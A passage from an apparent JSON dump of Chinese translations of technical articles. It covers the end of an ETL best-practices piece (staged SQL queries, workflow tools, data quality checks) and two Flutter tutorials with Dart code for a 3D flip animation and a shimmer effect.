更易于理解，维护和扩展的关键做法。本文会带大家看看以下做法有什么好处：\n\n1. 建立一系列简单的任务。\n2. 使用工作流程管理工具。\n3. 尽可能利用 SQL。\n4. 实施数据质量检查。\n\n讨论细节之前，我要承认一点：没有一套构建 ETL 管道的最佳实践。这篇文章的重点是数据科学环境，其中有两件事情是正确的：支持人员的组成状况的演变是不断发展和多样化的，开发和探索优先于铁定的可靠性和性能。\n\n## 建立一系列简单的任务\n\n使 ETL 更容易理解和维护的第一步是遵循基本的软件工程实践，将大型和复杂的计算分解为具有特定目的的离散、易于消化的任务。类似地，我们应该将一个大型ETL管道划分为较小的任务。这有很多好处：\n\n1. 更容易理解每个任务：只有几行代码的任务更容易审查，因此更容易吸收处理过程中的任何细微差别。\n\n2. 更容易理解整个处理链：当任务具有明确定义的目的并且命名正确时，审阅者可以专注于更高级别的构建块以及它们如何组合在一起而忽略每个块的细节。\n\n3. 更容易验证：如果我们需要对任务进行更改，我们只需要验证该任务的输出，并确保我们遵守与此任务的用户/调用者之间的任何“约定”（例如，结果表的列名称和数据类型与预修订格式相匹配）。\n\n4. 提升模块化程度：如果任务具有一定的灵活性，则可以在其他环境中重用它们。这减少了所需的总代码量，从而减少了需要验证和维护的代码量。\n\n5. 洞察中间结果：如果我们存储每个操作的结果，当出现错误时，我们将更容易调试管道。我们可以查看每个阶段，更容易找到错误的位置。\n\n6. 提高管道的可靠性：我们将很快讨论工作流工具，但是将管道分解为任务的话，发生临时故障时就可以更轻松地自动重新运行任务。\n\n我们从一个简单的示例，就可以看到将管道拆分为较小任务的好处。在 Stitch Fix，我们可能想知道发送给客户的物品当中，“高价”物品所占的比例。首先，假设我们已经定义了一个存储阈值的表。请记住，阈值将根据客户群（例如孩子与女性）和物品种类（例如袜子与裤子）而有所不同。\n\n由于此计算相当简单，我们可以对整个管道使用单个查询：\n\n```\nWITH added_threshold as (\n  SELECT\n    items.item_price,\n    thresh.high_price_threshold\n  FROM shipped_items as items\n  LEFT JOIN thresholds as thresh\n    ON items.client_segment = thresh.client_segment\n      AND items.item_category = thresh.item_category\n), flagged_hp_items as (\n  SELECT\n    CASE\n      WHEN item_price >= high_price_threshold THEN 1\n      ELSE 0\n    END as high_price_flag\n  FROM added_threshold\n) SELECT\n    SUM(high_price_flag) as total_high_price_items,\n    AVG(high_price_flag) as proportion_high_priced\n  FROM flagged_hp_items\n```\n\n  \n这第一次尝试实际上相当不错。它已经通过使用公共表表达式（CTE）或 WITH 块进行了模块化。每个块都用于特定目的，它们简短且易于吸收，并且别名（例如 `added_threshold`）提供足够的上下文，以便审阅者可以记住块中所完成的操作。\n\n另一个积极方面是阈值存储在单独的表中。我们可以使用非常大的 CASE 语句对查询中的每个阈值进行硬编码，但这对于审阅者来说很快就会变得难以理解。它也很难维护，因为我们只要想更新阈值，就必须更改此查询以及使用相同逻辑的任何其他查询。\n\n虽然这个查询是一个良好的开端，但我们可以改进实现的方式。最大的不足是我们无法轻松访问任何中间结果：整个计算只需一次操作即可完成。你可能想知道，为什么我要查看中间结果？中间结果允许你进行即时调试，获得实施数据质量检查的机会，并且可以证明在其他查询中可重用。\n\n例如，假设企业添加了一个新的物品类别 —— 例如，帽子。我们开始销售帽子，但我们忘记更新阈值表。在这种情况下，我们的聚合指标就会漏掉高价的帽子。由于我们使用了 LEFT JOIN，因为连接不会删除行，但是 `high_price_threshold` 的值将为 NULL。到了下一个阶段，所有和帽子有关的行，其 `high_price_flag` 的值都会是零，而这个数值会带到我们最终进行计算的 `total_high_price_items` 和 `proportion_high_priced`。\n\n如果我们将这个大的单个查询分解为多个查询并分别编写每个阶段的结果，我们就可以使这个管道更易于维护。如果我们将初始阶段的输出存储到单独的表中，我们可以轻松检查我们是否没有丢失任何阈值。我们需要做的就是查询此表并选择 `high_price_threshold` 值为 NULL 的行。如果什么都没有返回，就代表我们遗漏了一个或多个阈值。我们将在帖子后面介绍这种类型的数据运行时验证。\n\n这种模块化的实现也更容易修改。假设我们不是要考虑所有曾寄出的物品，而是决定只想计算过去 3 个月发送的高价物品。要是用原来的查询方式，我们就会对第一阶段进行更改，然后查看最终得出的总数，期望得到正确的数值。通过单独保存第一阶段，我们可以添加一个具有发货日期的新列。然后，我们可以修改查询并验证结果表中的发货日期是否都在我们预期的日期范围内。我们还可以将我们的新版本保存到另一个位置并执行“数据差异”以确保我们正在删除正确的行。\n\n最后一个示例将此查询拆分为单独的阶段带来了最大的好处之一：我们可以重用我们的查询和数据来支持不同的用例。假设一个团队想要过去 3 个月的高价项目指标，但另一个团队仅在最后一周需要它。我们可以修改第一阶段的查询以支持这些并将每个版本的输出写入单独的表。如果我们为后期查询动态指定源表 [2](#f2)，相同的查询将支持两种用例。此模式也可以扩展到其他用例：具有不同阈值的团队，按客户端细分和项目类别细分的最终指标与汇总。\n\n我们通过创建分阶段管道进行了一些权衡。其中最大的一个是运行时性能，尤其是当我们处理大型数据集时。从磁盘读取和写入数据会造成很大的开销，并且在每个处理阶段，我们读取前一阶段的输出并写出结果。和旧的 MapReduce 范例相比，Spark 的一大优势是临时结果可以缓存在工作节点（执行程序）的内存中。Spark 的 Catalyst 引擎还优化了 SQL 查询和 DataFrame 转换的执行计划，但它优化时无法跨越读/写边界。这些分阶段管道的第二个主要限制是它们使创建自动化集成测试变得更加困难，这涉及测试多个计算阶段的结果。\n\n有了 Spark，就可以解决这些不足之处。如果我必须执行几个小的转换并且我想要保存中间步骤的选项，我就会创建一个管理程序脚本，这个脚本只有在设置了命令行标志时才执行转换，以及输出中间表 [3](#f3)。当我正在开发和调试更改时，我可以使用该标志来生成验证新计算是否正确所需的数据。一旦我对我的更改有信心，我可以关闭标记以跳过编写中间数据。\n\n## 使用工作流程管理工具\n\n使用可靠的工作流管理和调度引擎，可以实现巨大的生产力提升。一些常见的例子包括 [Airflow](https://airflow.apache.org/)、[Oozie](https://oozie.apache.org/)、[Luigi](https://github.com/spotify/luigi) 和 [Pinball](https://github.com/pinterest/pinball)。这项建议需要时间和专业知识来建立；这不是个别数据科学家可能负责管理的事情。在 Stitch Fix，我们开发了自己的专有工具，由我们的平台团队维护，数据科学家用它就可以创建、运行和监控我们自己的工作流程。\n\n工作流工具可以轻松定义计算的有向非循环图（DAG），其中每个子任务都依赖于任何父任务的成功完成。这些工具通常能让使用者得以指定运行工作流的计划，在工作流启动前等待外部数据依赖，重试失败的任务，在失败时恢复执行，在发生故障时创建警报，以及运行不相互依赖的任务在平行下。这些功能相结合，使用户能够构建可靠，高性能且易于维护的复杂处理链。\n\n## 尽可能利用SQL\n\n这可能是我提出的最具争议性的建议。即使在 Stitch Fix 中，也有许多数据科学家反对 SQL，而是提倡使用通用编程语言。不久之前我还是这个阵营的一员。在实践方面，SQL 很难测试 — 特别是通过自动化测试。如果你来自软件工程背景，那么测试的挑战可能会让你觉得有足够的理由来避免使用 SQL 。我在过去也陷入过关于 SQL 的情感陷阱：“SQL 技术性较差，专业性较差；**真正**的数据科学家应该编码。”\n\nSQL 的主要优点是所有数据专业人员都能理解：数据科学家、数据工程师、分析工程师、数据分析师、数据库管理员和许多业务分析师。这是一个庞大的用户群，可以帮助构建，审查，调试和维护 SQL 数据管道。虽然 [Stitch Fix 没有很多这些数据角色](https://multithreaded.stitchfix.com/blog/2019/03/11/FullStackDS-Generalists/)，但 SQL 是我们这些不同数据科学家的共同语言。因此，利用 SQL 可以减少对团队中专业角色的需求，这些团队具有强大的 CS 背景，为整个团队创建管道，无法公平地分担支持职责。\n\n通过将转换操作编写为 SQL 查询，我们还可以实现可伸缩性和某种级别的可移植性。使用适当的 SQL 引擎，可以用相同的查询语句来处理一百行数据，然后针对太字节数量级的数据运行。如果我们使用内存处理软件包（如 Pandas）编写相同的转换操作，那么随着业务或项目的扩展，我们将面临超出处理能力的风险。所有东西运行起来都不会有问题，但一到了数据集过大、内存无法容纳时，就会出错。如果这项工作正在进行中，这可能导致急于重写事情以使其恢复运行。\n\n不同 SQL 语言变体有很多共通之处，我们从一个 SQL 引擎到另一个 SQL 引擎具有一定程度的可移植性。在 Stitch Fix 中，我们使用 Presto 进行 adhoc 查询，使用 Spark 进行生产管道。当我构建一个新的 ETL 时，我通常使用 Presto 来理解数据的结构，并构建部分转换。一旦这些部件到位，我几乎总是用 Spark [4](#f4) 运行相同的查询语句，不作任何修改。如果我要切换到 Spark 的 DataFrame API，我需要完全重写我的查询。反过来同样可以体现这种可移植性的好处。如果生产作业存在问题，我可以重新运行相同的查询并添加过滤器和限制以将数据的子集拉回以进行目视检查。\n\n当然，不是所有操作都能用 SQL 完成。你将不会使用它来训练机器学习模型，而且还有许多其他情况下，SQL 实现即使可行，也会过于复杂。对于这些任务，你绝对应该使用通用编程语言。如果你遵循关键的建议，把你的工作分成小块，那么这些复杂的任务将在范围内受到限制，并且更容易理解。在可能的情况下，我尝试在一系列简单准备阶段的末尾隔离复杂的逻辑，例如：连接不同的数据源、过滤和创建标志列。这使得验证进入最后一个复杂阶段的数据变得容易，甚至可以简化一些逻辑。一般来说，我在本篇文章的其余部分已经不再强调自动化测试，但处理有复杂逻辑的任务时，着力实现测试覆盖就很有意义了。\n\n## 实施数据质量检查\n\n要验证复杂的逻辑时，自动单元测试非常有用，但对于作为分阶段管道的一部分的相对简单的转换，我们通常可以手动验证每个阶段。就 ETL 管道而言，自动化测试提供了混合的好处，因为它们不会覆盖最大的错误来源之一：我们的管道上游的故障导致我们的初始依赖关系中出现旧的或不正确的数据。\n\n一个常见的错误来源是在启动管道之前未能确保我们的源数据已更新。例如，假设我们依赖于每天更新一次的数据源，并且我们的管道在数据源更新之前就开始运行。这意味着我们要么用的是（前一天计算的） 旧数据，要么使用旧数据和当前数据的混合数据。这种类型的错误可能难以识别和解决，因为上游数据源可能在我们获取旧版本的数据后不久就完成更新。\n\n上游故障还可能导致源数据中出现错误数据：字段计算错误，模式更改和/或缺失值频率更高。在动态且互联的环境中，利用另一个团队创建的数据源进行实验的做法并不少见，而这些源也常常会出现意外更改；我们在 Stitch Fix 运作时所处的环境很大程度上就是如此单元测试通常不会标记这些故障，但可以通过运行时验证（有时称为数据质量检查）来发现它们。我们可以编写单独的 ETL 任务，如果我们的数据不符合我们期望的标准，它们将自动执行检查并引发错误。上面提到了一个简单的例子，其中缺少高价的帽子门槛。我们可以查询组合出货物品和高价阈值表，并查找缺少阈值的行。如果我们找到任何行，我们可以提醒维护者。这个想法可以推广到更复杂的检查：计算零分数、平均值、标准差、最大值或最小值。\n\n在特定列的缺失值高于预期的情况下，我们首先需要定义预期的内容，这可以通过查看上个月每天丢失的比例来完成。然后我们可以定义触发警报的阈值。这个想法可以推广到其他数据质量检查（例如，平均值落在一个范围内），我们可以调整这些阈值，使我们对警报的敏感度进行增减。\n\n## 正在进行的工作\n\n在这篇文章中，我们已经完成了几个实际步骤，可以使你的ETL更易于维护，扩展和生产支持。这些好处可以扩展到你的队友以及你未来的自我。虽然我们可以为构建良好的流水线而感到自豪，但编写ETL并不是我们进入数据科学的原因。相反，这些是工作的基本部分，使我们能够实现更大的目标：构建新模型，为业务提供新见解，或通过我们的API提供新功能。建造不良的管道不仅需要时间远离团队，还会给创新带来障碍。\n\n我在上一份工作中尝到的苦果，让我明白到管道如果**难以使用**，就会让项目难以维护和扩展。我当时在某个创新实验室工作，该实验室率先使用大数据工具来解决组织中的各种问题。我的第一个项目是建立一条管道来识别信用卡号被盗的商家。我构建了一个使用 Spark 的解决方案，由此产生的系统在识别新的欺诈活动方面非常成功。然而，一旦我把它传递到信用卡部门支持和扩展，问题就开始了。我在编写管道时打破了我列出的所有最佳实践：它包含一个执行许多复杂任务的作业，它是用 Spark 编写的，当时对公司来说是新的，它依赖于 cron 进行调度并且没有'发生故障时发送警报，它没有任何数据质量检查，以确保源数据是最新的和正确的。由于这些缺陷，管道没有运行的时间延长。尽管有一个广泛的路线图来增加改进，但由于代码很难理解和扩展，因此很少能够实现这些改进。最终，整个管道以一种更容易维护的方式重写\n\n就像你的 ETL 正在进行的数据科学项目一样，你的管道永远不会真正完整，应该被视为永远不断变化。通过每次更改，每次更改都是实现小幅改进的契机：提高可读性，删除未使用的数据源和逻辑，或简化或分解复杂的任务。这些建议并不是什么重大突破，但如果要始终如一地践行，就需要自律。就像狮子驯服一样，当管道很小时，它们相对容易控制。然而，它们长得越大，就越难管控，也越容易表现出突发且意外的错乱行为。到了那种地步，你只得重新开始、采取更好的做法，不然就可能会冒着失败的风险 [5][#f5]。\n\n* * *\n\n## 注释\n\n[[1]↩](#back-1) 提取、转换和加载的缩写。\n\n[[2]↩](#back-2) 最简单的方法是使用简单的字符串替换或字符串插值，但是你可以通过模板处理库（如 jinja2）实现更大的灵活性。\n\n[[3]↩](#back-3) 对于 Python，像标准库中的 [Click](https://click.palletsprojects.com/en/7.x/)、[Fire](https://google.github.io/python-fire/guide/)，甚至 [argparse](https://docs.python.org/3/howto/argparse.html) 这样的库可以轻松定义这些命令行标志。\n\n[[4]↩](#back-4) 操作日期和从 JSON 中提取字段等操作需要修改查询，但这些更改很微小。\n\n[[5]↩](#back-5) 在撰写博客时，没有狮子或数据科学家受到伤害。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/make-3d-flip-animation-in-flutter.md",
    "content": "> * 原文地址：[Make 3D flip animation in Flutter](https://medium.com/flutter-community/make-3d-flip-animation-in-flutter-16c006bb3798)\n> * 原文作者：[Hung HD](https://medium.com/@hunghdyb?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/make-3d-flip-animation-in-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO1/make-3d-flip-animation-in-flutter.md)\n> * 译者：[ALVINYEH](https://github.com/ALVINYEH)\n> * 校对者：[geniusq1981](https://github.com/geniusq1981)\n\n# 使用 Flutter 制作 3D 翻转动画\n\n从 UI 挑战中学习 Flutter\n\n作为我的第一篇[文章](https://github.com/xitu/gold-miner/blob/master/TODO1/make-shimmer-effect-in-flutter.md)的续篇，我将开始新的挑战。这个将比前一个（微光闪烁）复杂一点。我称之为翻转动画：\n\n![](https://cdn-images-1.medium.com/max/800/1*vDimOOn9HYlJyX3bDqNFjA.gif)\n\n这已经足够值得挑战了，不是吗？是的，我们将制作一个看起来有些**类** 3D 效果的动画。\n\n### 怎么做呢\n\n乍一看，有个很简单的想法：我们有一堆面板，每个面板被分成两半，每一半可以围绕 X 轴旋转并显示下一个面板。\n\n如何用代码实现呢？我把它分为了两个小任务：\n\n*   将面板分割为两半\n*   围绕 X 轴旋转一半面板\n\n那么 Flutter 如何帮助我们呢？查看 Flutter 文档，我发现有两个组件非常适合完成任务：**ClipRect** 和 **Transform**。\n\n### 实现\n\n*   **将面板分割为两半：**\n\n**ClipRect** 组件有一个 **clipper** 参数来定义裁剪矩形的大小和位置，但是文档建议另一种使用 **ClipRect** 的方法：将它与 **Align** 一起使用：\n\n```\nclass FlipWidget extends StatelessWidget {\n  Widget child;\n\n  FlipWidget({Key key, this.child}) : super(key: key);\n\n  @override\n  Widget build(BuildContext context) {\n    return Column(\n      mainAxisSize: MainAxisSize.min,\n      children: [\n        ClipRect(\n            child: Align(\n          alignment: Alignment.topCenter,\n          heightFactor: 0.5,\n          child: child,\n        )),\n        Padding(\n          padding: EdgeInsets.only(top: 2.0),\n        ),\n        ClipRect(\n            child: Align(\n          alignment: Alignment.bottomCenter,\n          heightFactor: 0.5,\n          child: child,\n        )),\n      ],\n    );\n  }\n}\n```\n\n尝试一下：\n\n![](https://cdn-images-1.medium.com/max/800/1*_yUrbREU8PQsXXXoLib9Zw.png)\n\n就是这样。此外，**child** 可以让我们随心所欲设计动画的内容（无论如何是文本，还是图像）。\n\n*   **围绕 X 轴旋转一半面板**\n\n**Transform** 组件有一个 **transform** 参数，类型是 **Matrix4**，用于定义所应用的变换类型。**Matrix4** 暴露了一个名为 **rotationX()** 的工厂构造函数，看起来是我们需要用的，让我们尝试一下用在面板的上半部分：\n\n```\n@override\nWidget build(BuildContext context) {\n   return Column(\n      mainAxisSize: MainAxisSize.min,\n      children: [\n        Transform(\n          transform: Matrix4.rotationX(pi / 4),\n          alignment: Alignment.bottomCenter,\n          child: ClipRect(\n              child: Align(\n            alignment: Alignment.topCenter,\n            heightFactor: 0.5,\n            child: child,\n          )),\n        ),\n        ...\n      ],\n    );\n  }\n```\n\n尝试一下：\n\n![](https://cdn-images-1.medium.com/max/800/1*hMlNgRDsy9ozpXsbCqWjCA.png)\n\n什么！！！！它看起来像放缩效果，不是吗？\n\n到底怎么回事呢？回答出这个问题是这个任务中最难的一点。我回看 Flutter 的文档、示例代码、文章……直到找到[这篇文章](https://medium.com/flutter-io/perspective-on-flutter-6f832f4d912e)。其中指出，改变 **Matrix4** 的第 3 行和第 2 列的值，会改变其视角，并且会给变形带来 3D 效果：\n\n```\n...\nTransform(\n  transform: Matrix4.identity()..setEntry(3, 2, 0.006)..rotateX(pi / 4),\n  alignment: Alignment.bottomCenter,\n  child: ClipRect(\n      child: Align(\n    alignment: Alignment.topCenter,\n    heightFactor: 0.5,\n    child: child,\n  )),\n),\n...\n```\n\n再试一下：\n\n![](https://cdn-images-1.medium.com/max/800/1*pazybBHLVUECQLmEJvcrDA.png)\n\n不错。但是不如试一下神奇的数字 0.006？说实话，我不知道如何准确计算它，只是尝试选个我感觉很好的一些值。\n\n剩下的就是为我们的组件添加动画。这里有一点点棘手。实际上，每个面板都有两面（正面和背面）的内容，但是在代码中实现它并不明智，因为同一时刻只能看到一面。我假设要创建一个面板向上翻转的动画，那么动画可以分解成连续的两个阶段（顺序），第一个是向上翻转下半部分以使动画显示下一个面板的下半部分，然后隐藏当前面板的下半部分，第二个是在同一方向翻转上半部分，以显示下一半的上半部分，同时隐藏当前的上半部分：\n\n![](https://cdn-images-1.medium.com/max/800/1*K3qR8ucwG2x_cjHGGjCQ-A.gif)\n\n这个动画实现的代码很长，在此处插入并不太好。你可以在本文底部的链接中找到它。这是我们的最终效果：\n\n![](https://cdn-images-1.medium.com/max/800/1*f0t6EXlImJyjjos0Lebn6Q.gif)\n\n真棒。我们刚刚用 Flutter 完成了另一个 UI 挑战。**熟能生巧**。我会继续寻找新的挑战，使用 Flutter 解决它，并与你分享结果。感谢阅读。\n\n**P/S：透视变换出现了个小问题（会导致变换后的图像偏斜），我在 rotateX() 中使用一个非常小的值而不是零，可以暂时解决这个问题。**\n\n> **完整代码：** [https://gist.github.com/hnvn/f1094fb4f6902078516cba78de9c868e](https://gist.github.com/hnvn/f1094fb4f6902078516cba78de9c868e)\n\n> **我已将我的代码发布，包名为** [**flip_panel**](https://pub.dartlang.org/packages/flip_panel)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/make-shimmer-effect-in-flutter.md",
    "content": "> * 原文地址：[Make shimmer effect in Flutter: Learn Flutter from UI challenges](https://medium.com/flutter-community/make-shimmer-effect-in-flutter-dbe7a1bfd980)\n> * 原文作者：[Hung HD](https://medium.com/@hunghdyb?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/make-shimmer-effect-in-flutter.md](https://github.com/xitu/gold-miner/blob/master/TODO1/make-shimmer-effect-in-flutter.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n\n# 在 Flutter 中实现微光闪烁效果\n\n通过挑战 UI 制作来学习 Flutter\n\n### 介绍\n\n我是一个狂热的移动开发者，Android 平台和 iOS 平台开发都有涉及。过去我不相信任何跨平台的开发框架（Ionic，Xamarin，ReactNative），但现在我要讲一下我遇到跨平台开发框架 Flutter 之后的故事。\n\n### 灵感\n\n作为一名原生应用开发人员，我深深感到 UI 定制开发是多么痛苦，即使是使用跨平台开发框架去进行开发，这种痛苦也不能得到缓解，有时甚至会更糟糕。但 Flutter 的出现让我看到改善这种痛苦的希望。\n\nFlutter 从无到有构建所有 UI 元素（称为 Widget）。没有去封装原生视图，没有使用基于 web 的 UI 元素。如同游戏框架在游戏中构建游戏世界的方式（角色、敌人、宫殿…）那样，Flutter 基于 Skia 图形渲染引擎来绘制自己的 UI。这样做真的很有意义，因为你可以完全控制你在屏幕上绘制的东西。这是否让你在脑海中想到点什么？对我来说，这听起来似乎是在告诉我我可以更加容易地进行 UI 定制开发了。我尝试挑战一些 UI 效果实现来证明这一点。\n\n我想到的一个挑战是微光闪烁效果。这是一个非常常见的效果，如果你不熟悉这个名字，那么想一下你唤醒手机时所显示的“滑动解锁”动画。\n\n![](https://cdn-images-1.medium.com/max/800/1*rV4-EajphSqKhKNMULo6gg.gif)\n\n### 怎么做\n\n基本思路很简单。动画效果由从左到右移动的渐变所组成。\n\n关键是我不想仅仅为文本内容来做这个效果。这种效果在现代的移动应用中作为加载动画是非常流行的。\n\n![](https://cdn-images-1.medium.com/max/800/1*Q_vOKcscz1lQ7LL_prsARw.gif)\n\n第一个初始想法是在内容布局的顶部绘制一个不透明的渐变区域。虽然这可以实现，但不是一个好方法。我们不希望动画效果弄脏我们的整个白色背景。效果需要仅适用在给定的内容布局上。\n\n现在是时候参考一下 Flutter 文档和示例代码去了解如何实现这种效果了。\n\n经过研究我发现一个名为 **SingleChildRenderObjectWidget** 的基类，该基类露出一个 **Canvas** 对象。**Canvas** 是一个对象，它负责在屏幕上绘制内容，它有一个有趣的方法称为 **saveLayer**，它用来“在保存堆栈上保存当前变换和片段的副本，然后创建一个新的组，用于保存后续调用”（摘自官方文档）。这正是我需要的特性，它让我可以在特定内容布局上实现微光闪烁效果。\n\n### 实现\n\n在 Flutter 中，有一个很不错的小练习可以参考。一个 widget 通常包含一个名为 **child** 或 **children** 的参数，它可以帮助我们将变换应用到后代 widget。我们的 **Shimmer** widget 也有一个 **child**，它可以让我们创建任何我们想要的布局，然后将它作为 **Shimmer** 的 **child** 进行传递，**Shimmer** widget 反过来只会对那个 **child** 起作用。\n\n```\nimport 'package:flutter/material.dart';\n\nclass Shimmer extends StatefulWidget {\n  final Widget child;\n  final Duration period;\n  final Gradient gradient;\n  \n  Shimmer({Key key, this.child, this.period, this.gradient}): super(key: key);\n  \n  @override\n  _ShimmerState createState() => _ShimmerState();\n}\n\nclass _ShimmerState extends State<Shimmer> {\n  @override\n  Widget build(BuildContext context) {\n    return _Shimmer();\n  }\n}\n```\n\n**`_Shimmer`** 是负责效果绘画的内部类。它从 **SingleChildRenderObjectWidget** 扩展而来并重写了 **paint** 方法来执行绘制任务。我们使用 **Canvas** 对象的 **saveLayer** 和 **paintChild** 方法来捕捉我们的 **child** 作为一个图层并在上面绘制渐变效果（带上一点 **BlendMode** 的魔法）。\n\n```\nimport 'package:flutter/rendering.dart';\n\nclass _Shimmer extends SingleChildRenderObjectWidget {\n  final Gradient gradient;\n\n  _Shimmer({Widget child, this.gradient})\n      : super(child: child);\n\n  @override\n  _ShimmerFilter createRenderObject(BuildContext context) {\n    return _ShimmerFilter(gradient);\n  }\n}\n\nclass _ShimmerFilter extends RenderProxyBox {\n  final _clearPaint = Paint();\n  final Paint _gradientPaint;\n  final Gradient _gradient;\n\n  _ShimmerFilter(this._gradient)\n      : _gradientPaint = Paint()..blendMode = BlendMode.srcIn;\n\n  @override\n  bool get alwaysNeedsCompositing => child != null;\n  \n  @override\n  void paint(PaintingContext context, Offset offset) {\n    if (child != null) {\n      assert(needsCompositing);\n\n      final rect = offset & child.size;\n      _gradientPaint.shader = _gradient.createShader(rect);\n\n      context.canvas.saveLayer(rect, _clearPaint);\n      context.paintChild(child, offset);\n      context.canvas.drawRect(rect, _gradientPaint);\n      context.canvas.restore();\n    }\n  }\n}\n```\n\n剩下的就是添加一个动效，让我们的效果动起来。这里没什么特别的，我们将创建一个动效来在绘制渐变之前从左到右移动 **Canvas**，这样就能产生渐变移动的效果。\n\n我们在 **`_ShimmerState`** 中为动效创建一个新的 **AnimationController**。我们的 **`_Shimmer`** 类和 **`_ShimmerFilter`** 类还需要一个新变量（称之为 **percent**）来存储该动画执行的进度结果，并在每次 **AnimationController** 发出新值时调用 **markNeedsPaint**（这会让 widget 重新绘制）。**Canvas** 的移动位移量可以根据 **percent** 的值计算出来。\n\n```\nclass _ShimmerState extends State<Shimmer> with TickerProviderStateMixin {\n  AnimationController controller;\n\n  @override\n  void initState() {\n    super.initState();\n    controller = AnimationController(vsync: this, duration: widget.period)\n      ..addListener(() {\n        setState(() {});\n      })\n      ..addStatusListener((status) {\n        if (status == AnimationStatus.completed) {\n          controller.repeat();\n        }\n      });\n    controller.forward();\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return _Shimmer(\n      child: widget.child,\n      gradient: widget.gradient,\n      percent: controller.value,\n    );\n  }\n\n  @override\n  void dispose() {\n    controller.dispose();\n    super.dispose();\n  }\n\n}\n```\n\n[flutter_shimmer3_1.dart](https://gist.github.com/hnvn/6624c02f719d8753c6802f2090e767ce#file-flutter_shimmer3_1-dart)\n\n```\nclass _Shimmer extends SingleChildRenderObjectWidget {\n  ...\n  final double percent;\n\n  _Shimmer({Widget child, this.gradient, this.percent})\n      : super(child: child);\n\n  @override\n  _ShimmerFilter createRenderObject(BuildContext context) {\n    return _ShimmerFilter(percent, gradient);\n  }\n\n  @override\n  void updateRenderObject(BuildContext context, _ShimmerFilter shimmer) {\n    shimmer.percent = percent;\n  }\n}\n\nclass _ShimmerFilter extends RenderProxyBox {\n  ...\n  double _percent;\n\n  _ShimmerFilter(this._percent, this._gradient)\n      : _gradientPaint = Paint()..blendMode = BlendMode.srcIn;\n\n  ...\n\n  set percent(double newValue) {\n    if (newValue != _percent) {\n      _percent = newValue;\n      markNeedsPaint();\n    }\n  }\n\n\n  @override\n  void paint(PaintingContext context, Offset offset) {\n    if (child != null) {\n      assert(needsCompositing);\n\n      final width = child.size.width;\n      final height = child.size.height;\n      Rect rect;\n      double dx, dy;\n\n      dx = _offset(-width, width, _percent);\n      dy = 0.0;\n      rect = Rect.fromLTWH(offset.dx - width, offset.dy, 3 * width, height);\n\n      _gradientPaint.shader = _gradient.createShader(rect);\n\n      context.canvas.saveLayer(offset & child.size, _clearPaint);\n      context.paintChild(child, offset);\n      context.canvas.translate(dx, dy);\n      context.canvas.drawRect(rect, _gradientPaint);\n      context.canvas.restore();\n    }\n  }\n\n  double _offset(double start, double end, double percent) {\n    return start + (end - start) * percent;\n  }\n}\n```\n\n[flutter_shimmer3_2.dart](https://gist.github.com/hnvn/6624c02f719d8753c6802f2090e767ce#file-flutter_shimmer3_2-dart)\n\n还不错。我们刚刚只用了大约 100 行代码就实现了微光闪烁效果。这就是 Flutter 的美妙之处。\n\n这只是个开始。接下来我会使用 Flutter 来挑战更多更复杂的 UI 效果。我将在下一篇文章中分享我的成果。感谢你的阅读!\n\n> 备注：我已经将我的代码发布为一个名为 [shimmer](https://pub.dartlang.org/packages/shimmer) 的包.\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 